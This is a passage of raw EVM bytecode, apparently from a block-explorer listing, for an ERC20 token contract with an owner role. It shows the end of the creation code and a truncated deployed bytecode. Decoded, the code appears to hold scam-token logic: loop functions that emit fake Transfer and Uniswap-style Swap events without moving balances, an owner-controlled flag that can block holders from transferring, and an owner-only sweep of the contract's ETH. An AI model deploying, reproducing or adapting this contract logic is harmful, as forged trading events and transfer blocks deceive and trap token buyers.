062000a0483620005ce565b925082820262000a1481620005ce565b9150828204841483151762000a2e5762000a2d62000809565b5b5092915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000a7e601f8362000a35565b915062000a8b8262000a46565b602082019050919050565b6000602082019050818103600083015262000ab18162000a6f565b9050919050565b600062000ac582620005ce565b915062000ad283620005ce565b925082820190508082111562000aed5762000aec62000809565b5b92915050565b62000afe81620005ce565b82525050565b600060208201905062000b1b600083018462000af3565b92915050565b6136398062000b316000396000f3fe6080604052600436106101bb5760003560e01c80637e7aaf37116100ec578063b79c48e51161008a578063dd62ed3e11610064578063dd62ed3e14610647578063e6bd3c0d14610684578063f2fde38b146106ad578063fb92b180146106d6576101fb565b8063b79c48e5146105de578063beabacc814610607578063c78052c614610630576101fb565b806399fda493116100c657806399fda49314610512578063a1c617f51461053b578063a457c2d714610564578063a9059cbb146105a1576101fb565b80637e7aaf37146104935780638da5cb5b146104bc57806395d89b41146104e7576101fb565b806339509351116101595780637111a994116101335780637111a99414610401578063715018a61461042a57806377a1736b146104415780637aac697b1461046a576101fb565b8063395093511461034a5780634551a9de1461038757806370a08231146103c4576101fb565b80631d63c093116101955780631d63c0931461029057806323b872dd146102b9578063313ce567146102f657806338bf3cfa14610321576101fb565b806306fdde03146101fd578063095ea7b31461022857806318160ddd14610265576101fb565b366101fb577f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f8852587433346040516101f1929190612573565b60405180910390a1005b005b34801561020957600080fd5b506102126106ff565b60405161021f919061262c565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906126ba565b610791565b60405161025c9190612715565b60405180910390f35b34801561027157600080fd5b5061027a6107b4565b6040516102879190612730565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b291906126ba565b6107be565b005b3480156102c557600080fd5b506102e060048036038101906102db919061274b565b610aa4565b6040516102ed9190612715565b60405180910390f35b34801561030257600080fd5b5061030b610ad3565b60405161031891906127ba565b60405180910390f35b34801561032d57600080fd5b50610348600480360381019061034391906127d5565b610adc565b005b34801561035657600080fd5b50610371600480360381019061036c91906126ba565b610b28565b60405161037e9190612715565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a991906127d5565b610b5f565b6040516103bb9190612715565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e691906127d5565b610bb5565b6040516103f89190612730565b60405180910390f35b34801561040d57600080fd5b50610428600480360381019061042391906128bd565b610bfe565b005b34801561043657600080fd5b5061043f610cf4565b005b34801561044d57600080fd5b5061046860048036038101906104639190612971565b610d08565b005b34801561047657600080fd5b50610491600480360381019061048c91906129be565b610e92565b005b34801561049f57600080fd5b506104ba60048036038101906104b591906126ba565b61101e565b005b3480156104c857600080fd5b506104d161128f565b6040516104de9190612a32565b60405180910390f35b3480156104f357600080fd5b506104fc6112b8565b604051610509919061262c565b60405180910390f35b34801561051e57600080fd5b5061053960048036038101906105349190612a4d565b61134a565b005b34801561054757600080fd5b50610562600480360381019061055d91906129be565b61136c565b005b34801561057057600080fd5b5061058b600480360381019061058691906126ba565b6114f7565b6040516105989190612715565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c391906126ba565b61156e565b6040516105d59190612715565b60405180910390f35b3480156105ea57600080fd5b50610605600480360381019061060091906126ba565b611591565b005b34801561061357600080fd5b5061062e6004803603810190610629919061274b565b611847565b005b34801561063c57600080fd5b506106456118b1565b005b34801561065357600080fd5b5061066e60048036038101906106699190612aa0565b611902565b60405161067b9190612730565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a69190612971565b611989565b005b3480156106b957600080fd5b506106d460048036038101906106cf91906127d5565b611a36565b005b3480156106e257600080fd5b506106fd60048036038101906106f89190612ae0565b611ab9565b005b60606006805461070e90612b90565b80601f016020809104026020016040519081016040528092919081815260200182805461073a90612b90565b80156107875780601f1061075c57610100808354040283529160200191610787565b820191906000526020600020905b81548152906001019060200180831161076a57829003601f168201915b5050505050905090565b60008061079c611dfa565b90506107a9818585611e02565b600191505092915050565b6000600454905090565b6000600267ffffffffffffffff8111156107db576107da612bc1565b5b6040519080825280602002602001820160405280156108095781602001602082028036833780820191505090505b509050308160008151811061082157610820612bf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190612c34565b81600181518110610900576108ff612bf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061096930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611e02565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe5600c5460018430426040518663ffffffff1660e01b81526004016109cf959493929190612d64565b6000604051808303816000875af11580156109ee573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610a179190612ee2565b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a979190612730565b60405180910390a3505050565b600080610aaf611dfa565b9050610abc858285611fcb565b610ac7858585612057565b60019150509392505050565b60006012905090565b610ae46123cd565b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080610b33611dfa565b9050610b54818585610b458589611902565b610b4f9190612f5a565b611e02565b600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60005b86869050811015610ceb57848482818110610c1f57610c1e612bf0565b5b9050602002016020810190610c3491906127d5565b73ffffffffffffffffffffffffffffffffffffffff16878783818110610c5d57610c5c612bf0565b5b9050602002016020810190610c7291906127d5565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef858585818110610cbc57610cbb612bf0565b5b90506020020135604051610cd09190612730565b60405180910390a38080610ce390612f8e565b915050610c01565b50505050505050565b610cfc6123cd565b610d06600061244b565b565b610d106123cd565b60005b82829050811015610e8d57600160026000858585818110610d3757610d36612bf0565b5b9050602002016020810190610d4c91906127d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16838383818110610de957610de8612bf0565b5b9050602002016020810190610dfe91906127d5565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925610e65868686818110610e4b57610e4a612bf0565b5b9050602002016020810190610e6091906127d5565b610bb5565b604051610e729190612730565b60405180910390a38080610e8590612f8e565b915050610d13565b505050565b60005b8484905081101561101757848482818110610eb357610eb2612bf0565b5b9050602002016020810190610ec891906127d5565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822600086866000604051610f4e9493929190613011565b60405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16858583818110610fa257610fa1612bf0565b5b9050602002016020810190610fb791906127d5565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ffc9190612730565b60405180910390a3808061100f90612f8e565b915050610e95565b5050505050565b6000600267ffffffffffffffff81111561103b5761103a612bc1565b5b6040519080825280602002602001820160405280156110695781602001602082028036833780820191505090505b509050308160008151811061108157611080612bf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611128573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114c9190612c34565b816001815181106111605761115f612bf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506111a5833084611e02565b6111b0833084612057565b6111dd30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611e02565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318cbafe58360018430426040518663ffffffff1660e01b8152600401611241959493929190612d64565b6000604051808303816000875af1158015611260573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906112899190612ee2565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546112c790612b90565b80601f01602080910402602001604051908101604052809291908181526020018280546112f390612b90565b80156113405780601f1061131557610100808354040283529160200191611340565b820191906000526020600020905b81548152906001019060200180831161132357829003601f168201915b5050505050905090565b6113526123cd565b82600b8190555081600c8190555080600d81905550505050565b60005b848490508110156114f05784848281811061138d5761138c612bf0565b5b90506020020160208101906113a291906127d5565b73ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82285600080876040516114279493929190613056565b60405180910390a384848281811061144257611441612bf0565b5b905060200201602081019061145791906127d5565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114d59190612730565b60405180910390a380806114e890612f8e565b91505061136f565b5050505050565b600080611502611dfa565b905060006115108286611902565b905083811015611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c9061310d565b60405180910390fd5b6115628286868403611e02565b60019250505092915050565b600080611579611dfa565b9050611586818585612057565b600191505092915050565b6000600267ffffffffffffffff8111156115ae576115ad612bc1565b5b6040519080825280602002602001820160405280156115dc5781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561164c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116709190612c34565b8160008151811061168457611683612bf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106116d3576116d2612bf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b5460018487426040518663ffffffff1660e01b8152600401611772949392919061312d565b60006040518083038185885af1158015611790573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f820116820180604052508101906117ba9190612ee2565b508273ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183a9190612730565b60405180910390a3505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118a49190612730565b60405180910390a3505050565b6118b96123cd565b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156118ff573d6000803e3d6000fd5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6119916123cd565b60005b82829050811015611a31576000600260008585858181106119b8576119b7612bf0565b5b90506020020160208101906119cd91906127d5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611a2990612f8e565b915050611994565b505050565b611a3e6123cd565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa4906131eb565b60405180910390fd5b611ab68161244b565b50565b6000600267ffffffffffffffff811115611ad657611ad5612bc1565b5b604051908082528060200260200182016040528015611b045781602001602082028036833780820191505090505b509050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b989190612c34565b81600081518110611bac57611bab612bf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611bfb57611bfa612bf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060005b85859050811015611df257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ff36ab5600b546001858a8a87818110611c9a57611c99612bf0565b5b9050602002016020810190611caf91906127d5565b426040518663ffffffff1660e01b8152600401611ccf949392919061312d565b60006040518083038185885af1158015611ced573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190611d179190612ee2565b50858582818110611d2b57611d2a612bf0565b5b9050602002016020810190611d4091906127d5565b73ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef868685818110611dc357611dc2612bf0565b5b90506020020135604051611dd79190612730565b60405180910390a38080611dea90612f8e565b915050611c38565b505050505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e71576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e689061327d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed79061330f565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611fbe9190612730565b60405180910390a3505050565b6000611fd78484611902565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146120515781811015612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a9061337b565b60405180910390fd5b6120508484848403611e02565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036120c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bd9061340d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212c9061349f565b60405180910390fd5b61214083838361250f565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156121c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121be90613531565b60405180910390fd5b818103600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122fb5750600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123575760011515600560009054906101000a900460ff16151514612356576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234d90613577565b60405180910390fd5b5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123b49190612730565b60405180910390a36123c7848484612514565b50505050565b6123d5611dfa565b73ffffffffffffffffffffffffffffffffffffffff166123f361128f565b73ffffffffffffffffffffffffffffffffffffffff1614612449576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612440906135e3565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061254482612519565b9050919050565b61255481612539565b82525050565b6000819050919050565b61256d8161255a565b82525050565b6000604082019050612588600083018561254b565b6125956020830184612564565b9392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156125d65780820151818401526020810190506125bb565b60008484015250505050565b6000601f19601f8301169050919050565b60006125fe8261259c565b61260881856125a7565b93506126188185602086016125b8565b612621816125e2565b840191505092915050565b6000602082019050818103600083015261264681846125f3565b905092915050565b6000604051905090565b600080fd5b600080fd5b61266b81612539565b811461267657600080fd5b50565b60008135905061268881612662565b92915050565b6126978161255a565b81146126a257600080fd5b50565b6000813590506126b48161268e565b92915050565b600080604083850312156126d1576126d0612658565b5b60006126df85828601612679565b92505060206126f0858286016126a5565b9150509250929050565b60008115159050919050565b61270f816126fa565b82525050565b600060208201905061272a6000830184612706565b92915050565b60006020820190506127456000830184612564565b92915050565b60008060006060848603121561276457612763612658565b5b600061277286828701612679565b935050602061278386828701612679565b9250506040612794868287016126a5565b9150509250925092565b600060ff82169050919050565b6127b48161279e565b82525050565b60006020820190506127cf60008301846127ab565b92915050565b6000602082840312156127eb576127ea612658565b5b60006127f984828501612679565b91505092915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261282757612826612802565b5b8235905067ffffffffffffffff81111561284457612843612807565b5b6020830191508360208202830111156128605761285f61280c565b5b9250929050565b60008083601f84011261287d5761287c612802565b5b8235905067ffffffffffffffff81111561289a57612899612807565b5b6020830191508360208202830111156128b6576128b561280c565b5b9250929050565b600080600080600080606087890312156128da576128d9612658565b5b600087013567ffffffffffffffff8111156128f8576128f761265d565b5b61290489828a01612811565b9650965050602087013567ffffffffffffffff8111156129275761292661265d565b5b61293389828a01612811565b9450945050604087013567ffffffffffffffff8111156129565761295561265d565b5b61296289828a01612867565b92509250509295509295509295565b6000806020838503121561298857612987612658565b5b600083013567ffffffffffffffff8111156129a6576129a561265d565b5b6129b285828601612811565b92509250509250929050565b600080600080606085870312156129d8576129d7612658565b5b600085013567ffffffffffffffff8111156129f6576129f561265d565b5b612a0287828801612811565b94509450506020612a15878288016126a5565b9250506040612a26878288016126a5565b91505092959194509250565b6000602082019050612a47600083018461254b565b92915050565b600080600060608486031215612a6657612a65612658565b5b6000612a74868287016126a5565b9350506020612a85868287016126a5565b9250506040612a96868287016126a5565b9150509250925092565b60008060408385031215612ab757612ab6612658565b5b6000612ac585828601612679565b9250506020612ad685828601612679565b9150509250929050565b60008060008060408587031215612afa57612af9612658565b5b600085013567ffffffffffffffff811115612b1857612b1761265d565b5b612b2487828801612811565b9450945050602085013567ffffffffffffffff811115612b4757612b4661265d565b5b612b5387828801612867565b925092505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612ba857607f821691505b602082108103612bbb57612bba612b61565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612c2e81612662565b92915050565b600060208284031215612c4a57612c49612658565b5b6000612c5884828501612c1f565b91505092915050565b6000819050919050565b6000819050919050565b6000612c90612c8b612c8684612c61565b612c6b565b61255a565b9050919050565b612ca081612c75565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cdb81612539565b82525050565b6000612ced8383612cd2565b60208301905092915050565b6000602082019050919050565b6000612d1182612ca6565b612d1b8185612cb1565b9350612d2683612cc2565b8060005b83811015612d57578151612d3e8882612ce1565b9750612d4983612cf9565b925050600181019050612d2a565b5085935050505092915050565b600060a082019050612d796000830188612564565b612d866020830187612c97565b8181036040830152612d988186612d06565b9050612da7606083018561254b565b612db46080830184612564565b9695505050505050565b612dc7826125e2565b810181811067ffffffffffffffff82111715612de657612de5612bc1565b5b80604052505050565b6000612df961264e565b9050612e058282612dbe565b919050565b600067ffffffffffffffff821115612e2557612e24612bc1565b5b602082029050602081019050919050565b600081519050612e458161268e565b92915050565b6000612e5e612e5984612e0a565b612def565b90508083825260208201905060208402830185811115612e8157612e8061280c565b5b835b81811015612eaa5780612e968882612e36565b845260208401935050602081019050612e83565b5050509392505050565b600082601f830112612ec957612ec8612802565b5b8151612ed9848260208601612e4b565b91505092915050565b600060208284031215612ef857612ef7612658565b5b600082015167ffffffffffffffff811115612f1657612f1561265d565b5b612f2284828501612eb4565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f658261255a565b9150612f708361255a565b9250828201905080821115612f8857612f87612f2b565b5b92915050565b6000612f998261255a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612fcb57612fca612f2b565b5b600182019050919050565b6000819050919050565b6000612ffb612ff6612ff184612fd6565b612c6b565b61255a565b9050919050565b61300b81612fe0565b82525050565b60006080820190506130266000830187613002565b6130336020830186612564565b6130406040830185612564565b61304d6060830184613002565b95945050505050565b600060808201905061306b6000830187612564565b6130786020830186613002565b6130856040830185613002565b6130926060830184612564565b95945050505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006130f76025836125a7565b91506131028261309b565b604082019050919050565b60006020820190508181036000830152613126816130ea565b9050919050565b60006080820190506131426000830187612c97565b81810360208301526131548186612d06565b9050613163604083018561254b565b6131706060830184612564565b95945050505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006131d56026836125a7565b91506131e082613179565b604082019050919050565b60006020820190508181036000830152613204816131c8565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006132676024836125a7565b91506132728261320b565b604082019050919050565b600060208201905081810360008301526132968161325a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006132f96022836125a7565b91506133048261329d565b604082019050919050565b60006020820190508181036000830152613328816132ec565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613365601d836125a7565b91506133708261332f565b602082019050919050565b6000602082019050818103600083015261339481613358565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006133f76025836125a7565b91506134028261339b565b604082019050919050565b60006020820190508181036000830152613426816133ea565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006134896023836125a7565b91506134948261342d565b604082019050919050565b600060208201905081810360008301526134b88161347c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600061351b6026836125a7565b9150613526826134bf565b604082019050919050565b6000602082019050818103600083015261354a8161350e565b9050919050565b50565b60006135616000836125a7565b915061356c82613551565b600082019050919050565b6000602082019050818103600083015261359081613554565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135cd6020836125a7565b91506135d882613597565b602082019050919050565b600060208201905081810360008301526135fc816135c0565b905091905056fea2646970667358221220d737cb1cdfd9ebf5ed5690d0187c265008ecf537d1870679a4f897e617ddeb4b64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c80637e7aaf37116100ec578063b79c48e51161008a578063dd62ed3e11610064578063dd62ed3e14610647578063e6bd3c0d14610684578063f2fde38b146106ad578063fb92b180146106d6576101fb565b8063b79c48e5146105de578063beabacc814610607578063c78052c614610630576101fb565b806399fda493116100c657806399fda49314610512578063a1c617f51461053b578063a457c2d714610564578063a9059cbb146105a1576101fb565b80637e7aaf37146104935780638da5cb5b146104bc57806395d89b41146104e7576101fb565b806339509351116101595780637111a994116101335780637111a99414610401578063715018a61461042a57806377a1736b146104415780637aac697b1461046a576101fb565b8063395093511461034a5780634551a9de1461038757806370a08231146103c4576101fb565b80631d63c093116101955780631d63c0931461029057806323b872dd146102b9578063313ce567146102f657806338bf3cfa14610321576101fb565b806306fdde03146101fd578063095ea7b31461022857806318160ddd14610265576101fb565b366101fb577f88a5966d370b9919b20f3e2c13ff65706f196a4e32cc2c12bf57088f8852587433346040516101f1929190612573565b60405180910390a1005b005b34801561020957600080fd5b506102126106ff565b60405161021f919061262c565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906126ba565b610791565b60405161025c9190612715565b60405180910390f35b34801561027157600080fd5b5061027a6107b4565b6040516102879190612730565b60405180910390f35b34801561029c57600080fd5b506102b760048036038101906102b291906126ba565b6107be565b005b3480156102c557600080fd5b506102e060048036038101906102db919061274b565b610aa4565b6040516102ed9190612715565b60405180910390f35b34801561030257600080fd5b5061030b610ad3565b60405161031891906127ba565b60405180910390f35b34801561032d57600080fd5b50610348600480360381019061034391906127d5565b610adc565b005b34801561035657600080fd5b50610371600480360381019061036c91906126ba565b610b28565b60405161037e9190612715565b60405180910390f35b34801561039357600080fd5b506103ae60048036038101906103a991906127d5565b610b5f565b6040516103bb9190612715565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e691906127d5565b610bb5565b6040516103f89190612730565b60405180910390f35b34801561040d57600080fd5b50610428600480360381019061042391906128bd565b610bfe565b005b34801561043657600080fd5b5061043f610cf4565b005b34801561044d57600080fd5b5061046860048036038101906104639190612971565b610d08565b005b34801561047657600080fd5b50610491600480360381019061048c91906129be565b610e92565b005b34801561049f57600080fd5b506104ba60048036038101906104b591906126ba565b61101e565b005b3480156104c857600080fd5b506104d161128f565b6040516104de9190612a32565b60405180910390f35b3480156104f357600080fd5b506104fc6112b8565b604051610509919061262c565b60405180910390f35b34801561051e57600080fd5b5061053960048036038101906105349190612a4d565b61134a565b005b34801561054757600080fd5b50610562600480360381019061055d91906129be565b61136c565b005b34801561057057600080fd5b5061058b600480360381019061058691906126ba565b6114f7565b6040516105989190612715565b60405180910390f35b3480156105ad57600080fd5b506105c860048036038101906105c391906126ba565b61156e565b6040516105d59190612715565b60405180910390f35b3480156105ea57600080fd5b50610605600480360381019061060091906126ba565b611591565b005b34801561061357600080fd5b5061062e6004803603810190610629919061274b565b611847565b005b34801561063c57600080fd5b506106456118b1565b005b34801561065357600080fd5b5061066e60048036038101906106699190612aa0565b611902565b60405161067b9190612730565b60405180910390f35b34801561069057600080fd5b506106ab60048036038101906106a69190612971565b611989565b005b3480156106b957600080fd5b506106d460048036038101906106cf91906127d5565b611a36565b005b3480156106e257600080fd5b506106fd60048036038101906106f89190612ae0565b611ab9565b005b60606006805461070e90612b90565b80601f016020809104026020016040519081016040528092919081815260200182805461073a90612b90565b80156107875780601f1061075c57610100808354040283529160200191610787565b820191906000526020600020905b81548152906001019060200180831161076a57829003601f168201915b5050505050905090565b60008061079c611dfa565b90506107a9818585611e02565b600191505092915050565b6000600454905090565b6000600267ffffffffffffffff8111156107db576107da612bc1565b5b6040519080825280602002602001820160405280156108095781602001602082028036833780820191505090505b509050308160008151811061082157610820612bf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190612c34565b81600181518110610900576108ff612bf0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173fffffffffffffffffffffffffffffffffffffff